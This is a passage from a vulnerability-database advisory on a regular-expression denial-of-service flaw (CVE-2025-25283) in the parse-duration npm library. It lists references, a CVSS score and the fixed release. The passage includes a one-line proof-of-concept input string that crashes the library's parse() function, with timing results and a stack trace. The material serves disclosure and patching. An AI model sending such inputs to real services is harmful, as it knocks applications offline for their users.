enough to cause a 1ms delay (0.92ms)\n2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library\u0027s `parse()` function\n3. A 200 MB of input size already causes JavaScript heap out of memory crash\n\nHowever, more interestingly, if we focus on the input string case:\n\n```js\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"\u03b1\".repeat(5225000)\n```\n\nEven though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:\n\n```sh\nRegex test on string of length 5225503 (size: 9.97 MB):\nfile:///workspaces/parse-duration/index.js:21\n    .replace(durationRE, (_, n, units) =\u003e {\n     ^\n\nRangeError: Maximum call stack size exceeded\n    at String.replace (\u003canonymous\u003e)\n    at parse (file:///workspaces/parse-duration/index.js:21:6)\n    at testRegex (file:///workspaces/parse-duration/redos.js:35:17)\n    at file:///workspaces/parse-duration/redos.js:89:12\n    at ModuleJob.run (node:internal/modules/esm/module_job:234:25)\n    at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)\n    at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)\n\nNode.js v20.18.1\n```\n \nTo note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory.\n\n### Impact\n\n- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.\n- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.\n- Even for the smaller payloads such as 0.01 MB which aligns with Express\u0027s default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.",
  "id": "GHSA-hcrg-fc28-fcg5",
  "modified": "2025-02-12T21:35:41Z",
  "published": "2025-02-12T19:45:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jkroso/parse-duration"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "parse-duration has a Regex Denial of Service that results in event loop delay and out of memory"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-25283 (GCVE-0-2025-25283)

FKIE_CVE-2025-25283

GHSA-HCRG-FC28-FCG5

Summary

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour